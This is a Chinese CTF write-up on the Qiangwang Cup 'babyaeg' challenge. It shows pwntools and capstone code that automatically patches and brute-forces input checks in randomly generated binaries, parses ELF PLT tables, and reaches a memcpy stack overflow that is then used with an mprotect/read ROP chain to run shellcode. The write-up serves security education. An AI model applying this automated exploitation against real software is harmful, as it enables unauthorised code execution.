babyaeg是强网杯的一道pwn。本题的场景不太常见,普通的pwn一般提供binary,然后在远端启动服务,由做题人将binary分析清楚后,形成exp攻击远端;本题则随机生成二进制文件,base64编码后发送给做题人,在五秒之内,做题人必须提供Payload,直接进行攻击,如果五秒时间内做题人没有成功任意代码执行,则连接关闭,一切重来。这就意味着,我们必须自动化地对binary进行分析。
IO处理
作为本题的第一个步骤,我们首先要看看如何与远端进行交互:
Welcome to QWB BABYAEG-
I will send you a newly compiled binary (probably exploitable) in base64 format
after you get the binary, I will be waiting for your input as a plain text
when your input is given, I will execute the binary with your input as argv[1]
you have 5 seconds to build exploit payload
hint: base64 -d 1.bin | gunzip > 1.elf
wait…
H52Qf4owMSIgQAAACBMmFADAB4CDCSGFMKAQiMKEsIJBvIjQIg4ACgBY3ABAAwCKCAkktMjRIsuVIi/CYCiTpkIEHAEMSKgSIRybCX++9ClgKAAOOZFy3Khw…here, get this binary and give me some crafted argv[1] for explotation
remember you only have 5 seconds… hurry up!
time expired! bye!
我们获取的是一个base64编码后的字符串。为了避免大段大段的编码数据,我将它省略了。既然是自动化分析,我们必须获取足够多的样本,再从中找到共同点。一个一个地复制粘贴解码太dirty,我们要将自动化的思想运用到底,选择一个优雅的方式~~
from pwn import *
from ipdb import set_trace
import os
from exp import *
def getbinary():
p = remote('***.**.**.***', 40005)
tmp = p.recvuntil('wait...n')
res = p.recvuntil('n')[:-1]
print res
i = 0
while True:
if os.path.exists('binaries/binary' + str(i)):
i += 1
continue
open('tmpbinary' + str(i), 'w').write(res)
break
os.system('base64 -d tmpbinary' + str(i) + ' | gunzip > binaries/binary' + str(i))
os.system('rm tmpbinary' + str(i))
getbinary()
反复运行这个脚本,或者自行添加循环,我们就能在binaries文件夹下得到一堆binary。以供接下来进一步分析。
静态分析
先看程序基本信息:
本题没有Stack Canary,没有开PIE,这对于自动化分析是非常友好的。美中不足的地方在于打开了NX,这意味着我们有可能需要自动生成ROP,但是后面我们将有简单的方法解决这个问题。
我们随便挑一个binary用ida打开,先观察一下到底是个什么样的流程。按照惯例,先看主函数:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 result; // rax
unsigned int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
char v8; // [rsp+15h] [rbp-1Bh]
char v9; // [rsp+16h] [rbp-1Ah]
char v10; // [rsp+17h] [rbp-19h]
int i; // [rsp+18h] [rbp-18h]
int v12; // [rsp+1Ch] [rbp-14h]
int v13; // [rsp+20h] [rbp-10h]
int v14; // [rsp+24h] [rbp-Ch]
int v15; // [rsp+28h] [rbp-8h]
int v16; // [rsp+2Ch] [rbp-4h]
if ( a1 == 2 )
{
v4 = sub_26095B9(1LL, 2LL, 3LL, 4LL, 5LL, 6LL);
srand(v4);
dword_280BC5C = strlen(a2[1]) >> 1;
if ( dword_280BC5C <= 1000 )
{
v16 = 0;
v15 = 0;
while ( v16 < 2 * dword_280BC5C )
{
v8 = a2[1][v16];
v9 = a2[1][v16 + 1];
v10 = 0;
v5 = v15++;
__isoc99_sscanf(&v8, "%02hhx", &byte_280BF80[v5]);
v16 += 2;
}
for ( i = 0; i < dword_280BC5C; ++i )
{
if ( (_BYTE)v14 == 29 && (_BYTE)v13 == -6 && 61 * (_BYTE)v13 + 98 * (_BYTE)v14 - (_BYTE)v12 == 48 )
{
v6 = v14++;
v13 = v6;
}
if ( (_BYTE)v14 == -14 && (_BYTE)v13 == 12 && 17 * (_BYTE)v14 + 65 * (_BYTE)v13 - (_BYTE)v12 == 78 )
{
v7 = v12++;
v14 = v7;
}
if ( i & 1 )
byte_280BF80[i] ^= 0x32u;
else
byte_280BF80[i] ^= 0xC6u;
if ( (_BYTE)v14 == 48 && (_BYTE)v13 == 39 && 77 * (_BYTE)v13 + 52 * (_BYTE)v14 - (_BYTE)v12 == 1 )
v14 = v13 + v12;
if ( (_BYTE)v14 == 69 && (_BYTE)v13 == -74 && 42 * (_BYTE)v13 + 96 * (_BYTE)v14 - (_BYTE)v12 == 35 )
v12 = ++v14;
}
puts("payload encoded. let's go!");
sub_2609517((unsigned __int8)byte_280BF80[0], (unsigned __int8)byte_280BF81, (unsigned __int8)byte_280BF82);
puts("end of program");
result = 0LL;
}
else
{
puts("payload length exceeds 1000byte");
result = 0LL;
}
}
else
{
puts("usage : ./aeg [hex encoded payload]");
result = 0LL;
}
return result;
}
分不同部分解读一下:
这里说明这个程序是从main函数接受输入,输入长度最大为2000,并且输入作为十六进制编码被解码,解码结果放入0x280bf80的全局变量处。
紧接着是一段莫名其妙的操作:
这一段操作除了这样两个语句,其他的操作都是废操作:
if(i & 1)
byte_280BF80[i] ^= 0x32u;
else
byte_280BF80[i] ^= 0xC6u;
这两句的意义很好理解,就是根据奇偶对每一个输入的字节进行异或操作,我们在进行解析的时候只要进行相应的逆操作即可。
那其他的奇奇怪怪的语句到底是做什么用的呢?其实我们只要用angr或者S2E这样的重型符号执行工具跑一跑就会发现它们疯狂fork,很快就耗尽了题目所给的五秒时间。我们姑且认为这些操作是用来针对已有的符号执行平台的即可。
接下来进入了一个关键函数:
从这个函数开始,就是我们分析的重点。但是在开始进行函数的分析之前,我们需要先了解清楚这个函数的参数到底是怎样传进去的。
稍微对函数进行跟进可以发现,接下来的函数调用链都是在编译时已经计算好了相对于我们输入字符串的偏移量。即第一个函数接受的输入为input[0], input[1], input[2],第二个为input[3], input[4], input[5]…..以此类推。
第一类函数
首先我们碰到的是第一类函数,这类函数大致长这样:
char __fastcall sub_2609517(char a1, char a2, char a3)
{
char result; // al
result = a3;
if ( a1 == 51 )
{
result = -66;
if ( a2 == -66 )
{
result = 73 * a1 - 22 - a3;
if ( result == 67 )
result = sub_2609499(
(unsigned __int8)byte_280BF83,
(unsigned __int8)byte_280BF84,
(unsigned __int8)byte_280BF85);
}
}
return result;
}
流程如下:
- 检查a1是否为定值
- 检查a2是否为定值
- 检查a3,a1,a2是否满足某个关系,在本例中为67==73*a1-22-a3
如果上述检查都通过,则进入下一个函数。
对于第一类函数的解析有很多方式都可以达成目的,我本人也用很多种方式解决这个问题,包括:
- 符号执行——编写一个简单的符号执行引擎对汇编进行解析;
- 使用gdb脚本进行断点调试,在关键cmp语句自动下断,比较预期值;
- 对函数进行patch,将它改造成可以爆破的形式,直接爆破得到结果。
第一种和第二种方法我仅仅只实现了一个PoC,成功率较低,而且很难接入脚本进行直接使用(我菜),其中符号执行不能采用已有的框架,因为这需要对框架非常熟悉,并进行一定的改造(我菜)。我本人最喜欢的是第三种方式,这种方式提现了一种暴力降维的艺术,也是我几天的学习过程中最得意的结果,接下来我将详细介绍。
也许读者会比较疑惑,本题的check如此清晰明确,为什么需要如此麻烦的方式去进行求解,因此在这里要稍微补充一下。反编译的结果(即ida的F5)是经过ida高度优化的结果,这种相对统一的结构——这里特指对于a3参数的check,在汇编层面被优化成了各种各样的形式,如果需要对汇编进行直接解析,则需要面对超过十种不同的表达形式,工作量大成功率低(我菜),因此不予采用。
我们的思路本质上是爆破,但是本函数接受的参数总共为3 bytes,如果采用纯爆破的方式,则这一个函数就需要256 ^ 3次,这个复杂度是我们不能接受的,因此我们要想办法将复杂度降下来。最好的方式就是让不同的字节错误产生不同的返回值,我们可以对代码进行插桩达到这个目的。
原本代码的语义是这样:
func(a1, a2, a3){
if (a1 == 51){
if(a2 == -66){
if(67 == 73 * a1 - 22 - a3){
next_func(a4, a5, a6);
}
}
}
return;
}
经过插桩之后,我们将它变为这样:
func(a1, a2, a3){
if(a1 != 51)
return -1;
if(a2 != -66)
return -2;
if(67 != 73 * a1 - 22 - a3)
return -3;
return 1;
}
如果我们单独运行这样一个函数,就可以在256 * 3次之内得到我们应该输入的a1, a2, a3。
这样一个思路理论上可行,但是在实际操作的时候,有很多细节需要处理。接下来我一一讲解。
让函数单独运行
直接将binary运行起来肯定是不太合适的做法,我们采用一种JIT的思路,编写一个C程序,将函数内容直接输入一块可读可写可执行的区域,并按照相应调用约定调用它,就可以让函数单独运行,具体的C代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void explode_first(int (* firsttype)(char , char , char ), char *a, char *b, char *c){
int i = 0;
for(i = 0; i < 256; i ++){
if(firsttype((char)i, 0, 0) != 1){
*a = i;
break;
}
}
for(i = 0; i < 256; i ++){
if(firsttype(*a, (char)i, 0) != 2){
*b = i;
break;
}
}
for(i = 0; i < 256; i ++){
if(firsttype(*a, *b, i) != 3){
*c = i;
break;
}
}
}
void first(){
void *funcspace = malloc(0x500);
char a, b, c;
int (* firsttype)(char a, char b, char c);
firsttype = (int (*)(char, char, char))funcspace;
read(0, firsttype, 0x400);
explode_first(firsttype, &a, &b, &c);
write(1, &a, 1);
write(1, &b, 1);
write(1, &c, 1);
}
int main(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
char choice;
while(1){
read(0, &choice, 1);
switch(choice){
case 1:
first();
break;
case 10:
return 1;
}
}
}
注意,这个二进制文件的编译需要关闭NX,这样我们输入到funcspace的代码就可以通过恰当地调用约定直接调用。
熟悉CTF的读者很快就能读懂这段代码到底是什么意思。我们使用时,先输入0x400长度的内容到firsttype指针所指向的空间,此时,firsttype指针就可以作为函数正常调用。然后我们调用explode_first函数,对这个函数进行爆破,得到最终结果,并输出到stdout。此时我们已经假定输入的函数经过了恰当地改造,使得语义符合我们之前约定的样子。
改造函数语义
为了使函数的语义符合我们的要求,我们应该仔细分辨一下这个函数的汇编表示。
我们应该知道这样一个基本常识:
在__stdcall函数调用约定下,函数的返回值由rax寄存器带回。因此在函数ret后,rax寄存器的值就会被编译器认为是函数的返回值。这在我们之前的接口中相当重要。为了将函数改造成我们想要的样子,我们需要分辨出三个关键的cmp语句,分别位于:
0x2609530
0x2609542
0x2609568
经过我们对大量样本的粗略观察,可以发现这三条语句一定会出现,并且在其后一定紧跟一个jnz语句,即上面判断为false时,跳转到0x260593这条语句。结合之前对主函数的分析,我们可以发现,一旦函数返回,利用即结束,因此这三条cmp语句后的内容是我们改造的重点。一个很简单的想法就是在cmp语句后插入一条语句,分别为:
mov rax, -1
mov rax, -2
mov rax, -3
对应三个不同错误的返回值,这样我们就可以从返回值中区分到底是哪个字节出错了,达到降低爆破复杂度的目的(这一段的逻辑需要仔细思考,如果三个字节出错的返回值相同,那么复杂度为256 ^ 3,如果我们可以从返回值区分,则复杂度为256 * 3)。
随后再紧跟一个jmp语句,直接跳转到leave, ret所在的地址。因为在我们之前写的爆破函数中,我们只需要返回值,不需要进一步的调用了,能过check即可。
但是这里又不得不面对另外一个问题:我们插入的语句已经改变了leave, ret相对于当前位置的偏移,如果对汇编语句稍做了解就能知道,跳转语句(无论是jnz,jle,jmp等等)的结构如下:
offset域中存储的内容为当前跳转指令的下一条指令的地址,这一点很重要,如果读者有兴趣亲手写一点代码的话,这个细节是基础。
既然leave, ret因为我们插入的代码而改变了偏移量,我们只能想办法修改jmp指令的offset,让它能够正常返回,而不是跳到了不该跳的地方。我们借鉴一下堆喷时的常用手段,将函数构造成这个样子:
这样做的好处在于,我们不需要刻意计算偏移量,只要大致跳到一个合理的地址,就可以让nop指令滑到最终的leave,ret,函数顺利返回。
根据上述原理,最终得到的代码如下:
def parse_first_type(func):
global executor
count = 0
for idx in range(len(func.oplist)):
tmp_ins = func.oplist[idx]
if tmp_ins.mnemonic == 'call':
next_vaddr = int(tmp_ins.op_str, 16)
nextfunc = parsefunc(logic2physic(next_vaddr))
context.arch = 'amd64'
edit_func = ''
counter = 1
for tmp_ins in func.oplist:
if counter == 4:
break
if tmp_ins.mnemonic == 'jne':
# print disasm(tmp_ins.bytes.__str__())
edit_func += 'Hxc7xc0' + p32(counter)
offset = tmp_ins.bytes.__str__()[1]
offset = ord(offset)
offset += 0x10
if offset > 0xff:
raise Exception('parse_first_type: offset overflow.')
edit_func += 'x75' + chr(offset)
# print disasm('x75' + chr(offset))
counter += 1
else:
edit_func += tmp_ins.bytes.__str__()
edit_func += 'Hxc7xc0x00x00x00x00'
edit_func += 'x90' * 0x200 + 'xc9xc3'
# md = Cs(CS_ARCH_X86, CS_MODE_64)
# for i in md.disasm(edit_func, 0):
# print("0x%x:t%st%s" %(i.address, i.mnemonic, i.op_str))
executor.send('x01')
executor.send(edit_func.ljust(0x400, 'x00'))
try:
res = executor.recv(3)
except Exception:
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(edit_func, 0):
print("0x%x:t%st%s" %(i.address, i.mnemonic, i.op_str))
raise
if not len(res) == 3:
print res.encode('hex')
raise Exception('parse_first_type: There is something wrong with the result.')
return res, nextfunc
这里需要简单解释一下的是func这个变量里面到底是什么,这里其实是capstone解析出的operation对象的一个list,储存了这个函数中的所有汇编语句;
executor变量储存了一个pwntools中的process对象,打开的正是我们之前编译的C程序,用于爆破。
具体细节可以看附在文末的exp,在这里只要看个大概就可以。
第二类函数
当我们将第一类函数的check全部绕过之后,将会面对下一种函数,大概长这个样子:
__int64 __fastcall sub_2608D08(int a1)
{
__int64 result; // rax
int v2; // [rsp+10h] [rbp-40h]
int v3; // [rsp+14h] [rbp-3Ch]
int v4; // [rsp+18h] [rbp-38h]
int v5; // [rsp+1Ch] [rbp-34h]
int v6; // [rsp+20h] [rbp-30h]
int v7; // [rsp+30h] [rbp-20h]
int v8; // [rsp+34h] [rbp-1Ch]
int v9; // [rsp+38h] [rbp-18h]
int v10; // [rsp+3Ch] [rbp-14h]
int v11; // [rsp+40h] [rbp-10h]
int v12; // [rsp+48h] [rbp-8h]
int v13; // [rsp+4Ch] [rbp-4h]
v13 = a1 - 48;
v7 = 3;
v8 = 0;
v9 = 2;
v10 = 1;
v11 = 4;
v2 = 8;
v3 = 9;
v4 = 6;
v5 = 5;
v6 = 7;
v12 = (a1 - 48) % 5;
result = (unsigned int)*(&v2 + *(&v7 + v12));
if ( (_DWORD)result == 8 )
result = sub_2608BB9((unsigned __int8)byte_280BFB1);
return result;
}
这个函数长得真的是丑,于是我们应该发扬CTF选手的逆向实力,稍作整理,就看得很清楚:
__int64 __fastcall sub_2608D08(int a1)
{
__int64 result; // rax
int t2[5]; // [rsp+10h] [rbp-40h]
int t1[5]; // [rsp+30h] [rbp-20h]
int v4; // [rsp+48h] [rbp-8h]
int v5; // [rsp+4Ch] [rbp-4h]
v5 = a1 - 48;
t1[0] = 3;
t1[1] = 0;
t1[2] = 2;
t1[3] = 1;
t1[4] = 4;
t2[0] = 8;
t2[1] = 9;
t2[2] = 6;
t2[3] = 5;
t2[4] = 7;
v4 = (a1 - 48) % 5;
result = (unsigned int)t2[t1[v4]];
if ( (_DWORD)result == 8 )
result = sub_2608BB9((unsigned __int8)byte_280BFB1);
return result;
}
经过这么一整理,读者们都看出来了,这就是一个二重查表的函数,以我们的输入为索引(当然经过了一点小小的变换),对t1,t2两个表进行迭代查表操作,此时我们只需要读二进制,反向建立这么一张表格,然后在python中找到我们应该输入的值,就可以绕过check了。但是在做之前,我们仍然需要对照一下汇编,因为只有整齐的汇编才便于处理,如果汇编不整齐,我们就必须再做进一步操作:
我们所需要的,其实就是前面整整齐齐的赋值语句,从赋值语句中,我们就能直接恢复出两张表的数据。好看吗?好看就是好代码。
但是在这里,我偷了一点懒,这里其实是出题人偷的懒。第二类函数总共只有三个,表的大小分别为:5, 10, 64;表的级数分别为2, 3, 3。因此我直接对每一个函数写了一个量身定制的处理函数,秒之。
代码如下:
def parse_second_type(func):
tablelist = []
for idx in range(len(func.oplist)):
tmp_ins = func.oplist[idx]
if tmp_ins.mnemonic == 'call':
nextfuncvaddr = int(tmp_ins.op_str, 16)
break
# print func
for idx in range(len(func.oplist)):
tmp_ins = func.oplist[idx]
if tmp_ins.mnemonic == 'mov' and tmp_ins.op_str.startswith('dword ptr [rbp -'):
try:
tmpval = eval(tmp_ins.op_str.split(', ')[1])
except Exception:
continue
tablelist.append(tmpval)
# print tmp_ins.address, tmp_ins.mnemonic, tmp_ins.op_str
if tmp_ins.mnemonic == 'cmp':
result = eval(tmp_ins.op_str.split(', ')[1])
# print result
if len(tablelist) == 29:
table1 = tablelist[0:10]
table2 = tablelist[10:20]
table3 = tablelist[20:29]
res = table1.index(table2.index(table3.index(result)))
if len(tablelist) == 192:
table1 = tablelist[0:64]
table2 = tablelist[64:128]
table3 = tablelist[128:192]
res = table1.index(table2.index(table3.index(result)))
if len(tablelist) == 10:
table1 = tablelist[0:5]
table2 = tablelist[5:10]
res = table1.index(table2.index(result))
res = res + 48
res = chr(res)
nextfunc = parsefunc(logic2physic(nextfuncvaddr))
return res, nextfunc
虽然很dirty,但是it works。
当然我也试过其他的方式来处理这个函数。其中完成度较高的方式就是仿照第一类函数的做法,将函数单独运行,并且通过patch爆破得到结果。这个函数看似只需要爆破一个字节,256次肯定能得到结果,但是由于是查表操作,因此不正确的结果分分钟让函数越界,segment fault。那么我们又需要处理pwntools对于process出错时的io,得不偿失(我菜)。
更何况,变换不同的方式解决问题,也是我们学习的目的之一(我菜)。
最后一个函数
当我们顺利地通过了第一类和第二类函数的check之后,我们需要面对的最后一个函数,就是一个很明显的栈溢出函数了:
void *sub_260830C()
{
const char *v0; // rax
void *result; // rax
char dest; // [rsp+0h] [rbp-80h]
__int64 v3; // [rsp+38h] [rbp-48h]
const char *v4; // [rsp+40h] [rbp-40h]
_BYTE *v5; // [rsp+48h] [rbp-38h]
__int64 v6; // [rsp+50h] [rbp-30h]
__int64 i; // [rsp+58h] [rbp-28h]
const char *v8; // [rsp+60h] [rbp-20h]
const char *v9; // [rsp+68h] [rbp-18h]
_BYTE *v10; // [rsp+70h] [rbp-10h]
void *src; // [rsp+78h] [rbp-8h]
v10 = &unk_280BFB3;
v9 = "2ti4a9ZX";
v8 = "2ti4a9ZX";
for ( i = 0LL; ; ++i )
{
v0 = v8++;
if ( !*v0 )
break;
}
v6 = i;
while ( *v10 )
{
v5 = v10;
v4 = v9;
v3 = v6;
while ( --v3 && *v5 && *v4 && *v5 == *v4 )
{
++v5;
++v4;
}
if ( *v5 == *v4 )
{
result = v10;
goto LABEL_16;
}
++v10;
}
result = 0LL;
LABEL_16:
src = result;
if ( result )
result = memcpy(&dest, src, (size_t)&byte_280BF80[dword_280BC5C - (_QWORD)src]);
return result;
}
最后一个函数的语义需要稍作逆向,大致等于一个字符串匹配(在我们的情况下可以认为是一个strcmp)。我们只需要在接下来的Payload中加入v9所指向的那个字符串,就可以通过check。接下来就是一个直击灵魂的memcpy,达到栈溢出,注意这题没有canary,我们就能够劫持控制流了。
rop的编写不难,大致思路就是使用mprotect函数(对,这个题目很贴心的准备了mprotect函数,可以说非常友好了)改变一段内存的权限,让它变成rwx,然后布置参数调用read函数读取输入,我们就可以写入shellcode,最终跳转过去。
这一个过程轻描淡写,但是需要的知识点非常多,我们放在下一个部分再讲。
程序分析技巧
上一部分已经将整个题目的做法说完了,但是在具体实现的过程中,会遇到很多问题,尤其需要读者对ELF文件有比较深刻的理解。
capstone
我做题时用到的一个框架使capstone,capstone是一个反汇编框架,支持多种架构,关于它的文档可以在这里找到:
http://www.capstone-engine.org/documentation.html
具体的使用方法在这里就不浪费时间详细介绍,读者自行了解。
解析函数
capstone将byte读入之后,将它翻译成相应的汇编语句。我在这里的处理是从一个函数的入口开始解析,一直解析到leave,ret语句,并且将这些翻译出的汇编语句——在capstone中定义为operation对象,存入一个list,这个list就是我之后用到的分析单元,func。
需要提醒一下读者,这种解析方式非常偷懒,因为函数的表现形式非常多样,这样的解析方式轻易就会被绕过,只是在这倒题目中,这种方法可以工作得很好。
那么函数的开头怎么得到呢?我们需要知道在ELF文件的Program Header中有一个表项叫start,由libc编译出的文件这一项就是一个指向__libc_start_main函数的指针。我们通过这个函数可以顺藤摸瓜找到main函数的开始地址,然后一个一个地找到我们感兴趣的函数。
class function:
def __init__(self, oplist):
self.oplist = oplist
def __str__(self):
res = ''
for i in self.oplist:
res += '%x:t%st%sn' %(i.address, i.mnemonic, i.op_str)
return res
def parsefunc(physicaddr):
finish_symbol = ['ret', 'hlt']
md = Cs(CS_ARCH_X86, CS_MODE_64)
cursor = physicaddr
oplist = []
while(True):
# set_trace()
f.seek(cursor)
data = f.read(0x100)
for i in md.disasm(data, physic2logic(cursor)):
oplist.append(i)
if i.mnemonic in finish_symbol:
return function(oplist)
if len(oplist) == 0x10000:
raise Exception('parsefunc: too large function')
tmp = oplist.pop()
cursor = logic2physic(tmp.address)
文件偏移与虚拟地址
在文件中,代码是以文件开头加上一个偏移量地形式存储在文件中,但是在ELF文件被操作系统装载时,各个段(segment)会被操作系统装载到不同的地址,这些地址有可能是固定的(即没有开PIE),也有可能受到随机化的影响,这些地址才是程序运行时真正使用的地址。这是Linux可重定位文件的一个重要特征,这一点如果不掌握,我们很难对文件中的代码进行操作。
更多的细节,读者应该自行了解ELF文件的结构,在这里,我提供我写的文件偏移(在代码中我称为physic address)与虚拟地址(在代码中我成为logic address)相互转换的代码,仅供参考。这份代码依赖于elftools包,这个包提供对elf文件的各种结构的解析。如果有对命令行工具readelf熟悉的读者,也可以使用os.system系列命令对它进行解析。
def logic2physic(addr):
for s in elffile.iter_segments():
baseaddr = s.header['p_vaddr']
size = s.header['p_memsz']
if addr >= baseaddr and addr <= baseaddr + size:
offset = addr - baseaddr
physicaddr = s.header['p_offset'] + offset
return physicaddr
raise Exception('logic2physic: addr not found.')
def physic2logic(addr):
for s in elffile.iter_segments():
baseaddr = s.header['p_offset']
size = s.header['p_memsz']
if addr >= baseaddr and addr <= baseaddr + size:
offset = addr - baseaddr
logicaddr = s.header['p_vaddr'] + offset
return logicaddr
raise Exception('physic2logic: addr not found')
plt表解析
在前一个部分我们提到了需要调用mprotect函数,但是在我们的代码中并没有使用到mprotect函数,仅仅是有这个函数的plt表,那么我们怎样才能知道哪个plt表入口才是我们想要的函数呢?一个朴素的想法就是,这些文件既然都是同一种方法编译出来的,那么plt表项的顺序应该是一样的,于是我们只需要找到对应位置就好。
但是本着学习的目的,我还是决定将它做得更加本质一些。
首先我们应该了解一下Linux是怎样解析一个ELF文件的plt表(当然也包括got表,这两个表都是延迟绑定的实现)。以这道题中的mprotect函数为例,我接下来将展示从ELF文件到plt表的全流程。
这个地方叫符号表,这些符号都是这个ELF文件的导入符号,Linux通过这些表项决定应该使用哪些外部函数。这个表一定会存在,如果不存在,代码段就无法调用其中的函数。具体的调用过程要借助于一个叫dlresolve的函数,没错,就是ret2dlresolve的目标函数。
但是如果不看ida里面的注释,我们会发现表项中只有一个干巴巴的offset,其他的位置都是一些属性,显然仅靠这一个表是无法知道表项到底是什么函数的。这就需要进一步追踪。
这里叫字符串表,稍微与符号表对比一下就会发现,符号表中的偏移量全部是相对于字符串表的表头的偏移,那么此时,我们就可以通过纯解析ELF文件知道符号表中的表项到底是什么函数了。但是这还远远不够,plt表并不依赖于这一张表,而是依赖于另外的一张表。
这张表叫重定位表,注意看黑框标出的部分,这一部分似乎并不是他们在重定位表中的index,但是我们结合一下之前的符号表,就会发现规律。mprotect在重定位表这个位置的值为0x11,去看看符号表的0x11项(注意,重定位表的第一项为0x00),正是mprotect。那么这就很清楚了,重定位表实际上是一个对于符号表的索引。那么重定位表到底是怎么被使用的呢?我们需要去看看plt表的具体组织形式。
这里有一个小知识,如果一开始就使用ida进行学习,这个细节会被ida自动地做完,而对于使用者来说是透明的——got表所储存的值到底是什么。
大家都知道got表第一次储存的值并不是函数在libc中的地址,而是一个其他的值。第一次调用时,会经过一次dlresolve,然后got表存储的值才会变成函数的真实地址。那么问题来了,got表第一次存储的值到底是什么呢?
注意看上图的黑框所示的部分,只要读者去分析一个干净的binary,就会发现mprotect函数的got表的初始值正是指向这个位置,刚好是plt表项+0x06的位置。这个语句在栈中压入一个立即数,然后跳到了一个0x4007b0的函数,这个函数就是dlresolve。读者应该已经发现,压入的这个立即数,正是mprotect在重定位表中的index。
那么这里还有最后一个细节,为什么这里的参数是用压栈传入,而不是rdi呢。其实在dlresolve运行结束之后,会直接调用一次目标函数。这个过程在使用这个函数的程序看来是透明的,因此程序会按照正常的调用约定传参,rdi,rsi,rdx等等一众寄存器中存储的都是目标函数的参数,如果在此时用寄存器传参,就需要提前保存寄存器的值,显然caller是不会去做这件事情的(因为对于caller来说,这一次调用和之后的每一次调用都一样),那么只有在图中黑框部分加入保存上下文的代码,这样的话plt表部分就会变得非常冗长。权衡之下,用栈传参是最合适的选择。那么如果函数本身就接受栈参数怎么办呢?其实这个问题不会有影响,进入dlresolve之后,压入的这个立即数出栈,运行结束之后,caller从栈中传入的参数位置没有变化。
以上冗长的过程,总结起来,解析plt表的方式如下:
解析symtab->解析strtab->解析reltab->解析plt,got
提供一份代码供读者参考:
from elftools.elf.elffile import *
from capstone import *
from pwn import u32
def parse_dynsym(elffile):
dynsym = elffile.get_section_by_name('.dynsym').data()
dynstr = elffile.get_section_by_name('.dynstr').data()
strlist = []
for idx in range(len(dynsym) / 0x18):
if idx == 0:
continue
else:
sym = dynsym[idx * 0x18: idx * 0x18 + 0x18]
offset = sym[:4]
offset = u32(offset)
tmpstr = dynstr[offset:].split('x00')[0]
strlist.append(tmpstr)
return strlist
def parse_plt(elffile):
strlist = parse_dynsym(elffile)
pltdata = elffile.get_section_by_name('.plt').data()
pltaddress = elffile.get_section_by_name('.plt').header['sh_addr']
oplist = []
pltlist = {}
md = Cs(CS_ARCH_X86, CS_MODE_64)
for ins in md.disasm(pltdata, pltaddress):
oplist.append(ins)
for ins in oplist:
if ins.mnemonic == 'push':
addr = ins.address - 6
try:
stridx = int(ins.op_str, 16)
except Exception:
continue
pltlist[strlist[stridx]] = addr
return pltlist
if __name__ == '__main__':
f = open('binaries/binary0')
elffile = ELFFile(f)
print parse_dynsym(elffile)
pltlist = parse_plt(elffile)
for k in pltlist.keys():
print k, hex(pltlist[k])
总结
这道题的做题过程考察了许多对elf文件的理解,以及对细节的掌握。任何一个地方的一知半解,都可能让做题者折腾半天。我在做题时,变换了很多的方法去处理各种各样的问题,学习到的东西非常多,如果有条件,非常推荐读者去亲手写一写,一定获益匪浅。
当然,条条大路通罗马,有朋友用ida脚本、ghidra脚本实现了同样的功能,站在巨人的肩膀上做题,也是非常明智的选择。但是我本人更加喜欢这一份从头到尾手动分析的解法,因为我觉得这样做更加本质。
这道题在强网杯现场被eee四个小时左右就解出,足以见他们深厚的底蕴和扎实的基本功。学无止境,前路漫漫,这里引用乔布斯的一句箴言:
Stay hungry, stay foolish.
与读者共勉!
PS:本题的环境与代码可以在这里找到,稍后就会上传: